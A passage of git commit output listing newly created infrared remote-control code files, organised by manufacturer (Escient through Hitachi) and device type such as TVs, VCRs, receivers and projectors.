Jukebox/15,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/48,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/91,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/CD Management/0,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/CD Management/14,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/CD Management/91,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/DVD Library/1,22.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/DVD Library/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/1,22.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/2,22.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/3,22.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/4,22.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/Digital Jukebox/15,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/Digital Media Receiver/1,22.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/Digital Media Receiver/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/Hard Drive Recorder/15,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/1,22.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/14,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/4,22.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/1,22.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/15,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/2,22.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/3,22.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/33,184.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/4,22.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/Media Manager/48,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/Media Server/1,22.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Escient/Media Server/4,22.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Esoteric Audio/DVD Player/133,32.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Euroconsumers/Unknown_LG-5988/136,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Expressvu/Unknown_3100/0,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Extron/Switcher/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Extron/Switcher/128,84.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/FSC/DVD Player/4,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/FTE Maximal/Unknown_FTE/73,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/FUBA/Unknown_ALPS/134,75.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/FUBA/Unknown_FUBA/134,75.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/FUNAI/Unknown_NF021RD/132,224.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fagor/Unknown_TEDI100/192,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Falcon/Unknown_VT-1000/16,47.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Faroudja/DVD Player/163,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Faroudja/DVD Player/175,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Faroudja/Line Doubler/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Faroudja/Line Quadrupler/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Faroudja/Processor/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Processor/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Processor/27,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/13,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/135,78.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/24,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/24,24.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Faroudja/Video Projector/30,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fast/TV/28,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fast/TVS/28,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fedders/Air Conditioner/32,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fisher/Surround Processor/48,48.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fisher/Surround Processor/54,200.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fisher/TV/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fisher/TV/56,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fisher/Unknown_RC720F/104,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fisher/Unknown_RCA-9060/54,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fisher/Unknown_REM-1500/162,162.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fisher/Unknown_ra/60,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fortec/Unknown_Lifetime/32,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fortec/Unknown_Mercury2/1,253.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,69.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,95.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/64,64.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fosgate/Surround Processor/132,66.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Foxtel/Set Top Box/33,160.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Foxtel/Unknown_Digital/0,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Foxtel/Unknown_foxtel/33,160.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Free/Unknown_REMOTE/11,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Free/Unknown_V5/36,12.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Freecom/Unknown_MP35/128,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Freecom/Unknown_usb/128,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fresat/Unknown_SER-3000PL/8,64.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Friedrich/Air Conditioner/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Friedrich/Air Conditioner/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC1-1241-21/32,176.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC811/4,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fujitsu/Monitor/132,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fujitsu/Monitor/132,138.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fujitsu/Monitor/132,139.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fujitsu/Monitor/132,140.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,129.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,130.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,134.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,136.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,138.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,139.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,140.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/132,141.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fujitsu/Plasma/140,132.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fujitsu/TV/132,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fujitsu/Unknown_CP300375-01/4,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fujtech/Unknown_DVB-T/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Fusion Research/DVD Server/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/GAMEFACTORY/Unknown_PS2DVD/0,246.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/GE/TV/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/GE/VCR/11,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/GE/VCR/14,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/GE/VCR/26,73.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/GE/VCR_VKFS0938/14,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/GVC/Unknown_RM-RK50/143,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Galaxis/Satellite/13,80.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Galaxis/Unknown_GALAXIS-RC5/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Galaxis/Unknown_Galaxis-RCMM/13,80.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Galaxis/Unknown_Galaxis.sat/81,175.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Galaxis/Unknown_rc1/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Gefen Systems/DVI Switcher/11,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Gefen Systems/HDMI Switcher/11,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Gefen Systems/Matrix Switcher/11,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Gefen Systems/Unknown/24,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/General Electric/TV/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/General Electric/VCR/11,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/General Electric/VCR/14,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/General Electric/VCR/26,73.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/144,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/64,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/87,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/General Instrument/Satellite/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/General Instrument/Satellite/130,110.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/General Instruments/Unknown_550/-1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/General Instruments/Unknown_XRC-200/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/General/Unknown_VCR/22,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Genesis/Theater in Box/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Geniatech/Unknown_Supera/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Genius/Unknown_Genius-DVB-T32/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Genus/Unknown_DU1/128,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Gericom/Plasma/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Get/Unknown_gethdpvr/72,36.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Gigabyte/Unknown_TV/134,107.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Go Video/DVD Recorder/10,247.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Go Video/VCR/132,98.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Go Video/VCR/5,5.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Go Video/VCR/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_GOLDSTAR/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_Goldstar-VCR/110,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_RN800AW/110,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_VCR/110,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/GoldStar/Unknown_cd/16,16.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/GoldStar/VCR/110,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Golden Interstar/Sat/128,255.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Golden Interstar/Unknown_Interstar/4,16.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Goldmund/CD Player/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Goodmans/Unknown_GDB/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Goodmans/Unknown_GDVD124/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Goodmans/Unknown_RC-BM/128,123.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Goodmans/Unknown_md305/135,108.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Govideo/Unknown_GoVideoD2730/8,230.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Gradiente/Unknown_D-10/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Gradiente/Unknown_GSD-100/132,60.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Gran Prix/Unknown_prix/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Grand Tech/Cable Box/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Griffin/iPod/212,190.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Grundig/Satellite/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Grundig/Satellite/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Grundig/Satellite/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Grundig/TV/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_2500S/10,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_84D/128,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_CDM700.cfg/162,162.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_Grundig-TP660/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_RC-TP3/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_RC8400CD/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_RP/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_TP-750C/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_TP/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_UMS9V/162,162.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_rp700/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_tp621/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Grundig/Video Recorder/127,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Gryphon/Integrated Amplifier/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Guillemot/Unknown_RemoteWizard-GN-263/134,107.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/HB/Unknown_DIGITAL/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/HP/Unknown_465539-002/4,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/HP/Unknown_DV4-1125NR/4,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/HP/Unknown_DV6331/4,17.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/HP/Unknown_Pavilion/4,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/HP/Unknown_RC172308-01B/4,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/HP/Unknown_RC1762302-00/4,17.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/HP/Unknown_RC1762307-01/4,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/HP/Unknown_RC2234302-01B/4,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/HQ/Unknown_RC/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/HQV/Video Processor/128,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hama/Unknown_Internet/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hama/Unknown_PhotoPlayer/134,107.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hampton Bay/Unknown_Bay/129,102.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Amplifier/128,112.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Amplifier/130,114.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Blu-Ray/132,116.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD Changer/128,112.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD Player/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD Player/128,112.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD Player/131,74.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/CD-R/128,112.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Cassette Tape/130,114.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/DVD Player/130,114.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/128,112.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/130,114.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/128,112.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/130,114.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/132,116.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/132,66.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/134,118.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/161,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/164,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/40,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/128,112.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/130,114.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/18,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/23,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/6,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/64,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Receiver/128,112.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Receiver/130,114.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Tuner/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Tuner/128,112.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Tuner/130,114.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown/130,114.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown_DVD/130,114.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown_HD730/131,74.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown_Kardon-DVD/130,114.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Unknown_harmankardon/128,112.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Video Projector/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Video Projector/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Video Projector/30,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Video Projector/7,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Kardon/iPod/130,114.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Video/Video Projector/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harman Video/Video Projector/7,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Harmony/PS3 Adaptor/11,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_DSR-0095/29,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_MVP/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_R808/30,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR-950Q/29,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR/4,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hauppauge/Unknown_hauppauge-stb/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hello Kitty/Unknown_Kitty/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Herma/Dipper/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hermstedt/Unknown_Hifidelio/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hewlett Packard/Plasma/18,17.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hewlett Packard/Plasma/2,17.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hewlett Packard/TV/18,17.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hewlett Packard/TV/2,17.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hinen Electronics/Unknown_Electronics/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hip Interactive/Unknown_GE1002/0,246.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hirschmann/Satellite/32,255.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hirschmann/Unknown_RC426/54,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/CD Player/168,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/Cable Box/80,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/12,251.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/184,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/80,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/96,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/DSS/97,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/DVD Player/102,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/Display/80,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/LCD/86,171.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/144,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/80,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/96,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/96,158.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/Monitor/97,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/Plasma/80,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/Plasma/80,173.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/12,251.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/80,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/80,143.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/80,173.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/TV/96,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_CLE-941/80,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_CLE-947/80,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_CP-X345/135,69.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_DV-RM335E/128,35.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_FX7/91,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_HFTV/71,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_Hitachi/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_Hitachi/80,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/Unknown_hitachi.conf/91,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/40,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/44,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/5,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/80,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/83,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/96,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/96,158.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/97,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/VCR/97,159.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Hitachi/Video Projector/135,69.ir create mode 100644 